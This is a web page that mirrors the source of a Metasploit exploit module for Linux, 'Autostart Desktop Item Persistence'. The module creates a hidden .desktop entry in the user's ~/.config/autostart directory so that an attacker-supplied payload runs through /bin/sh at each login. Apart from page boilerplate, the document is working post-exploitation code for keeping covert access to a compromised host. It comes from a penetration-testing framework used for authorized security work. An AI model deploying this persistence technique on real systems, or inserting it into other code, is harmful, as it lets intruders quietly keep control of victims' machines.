Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/autostart_persistence.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix1011def initialize(info = {})12super(update_info(info,13'Name' => 'Autostart Desktop Item Persistence',14'Description' => %q(15This module will create an autostart entry to execute a payload.16The payload will be executed when the users logs in.17),18'License' => MSF_LICENSE,19'Author' => [ 'Eliott Teissonniere' ],20'Platform' => [ 'unix', 'linux' ],21'Arch' => ARCH_CMD,22'Payload' => {23'BadChars' => '#%\n"',24'Compat' => {25'PayloadType' => 'cmd',26'RequiredCmd' => 'generic python netcat perl'27}28},29'SessionTypes' => [ 'shell', 'meterpreter' ],30'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },31'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart32'Targets' => [ ['Automatic', {}] ],33'DefaultTarget' => 034))3536register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])37end3839def exploit40name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)4142home = cmd_exec('echo ~')4344path = "#{home}/.config/autostart/#{name}.desktop"4546print_status('Making sure the autostart directory exists')47cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists4849print_status("Uploading autostart file #{path}")5051write_file(path, [52"[Desktop Entry]",53"Type=Application",54"Name=#{name}",55"NoDisplay=true",56"Terminal=false",57"Exec=/bin/sh -c \"#{payload.encoded}\""58].join("\n"))59end60end61626364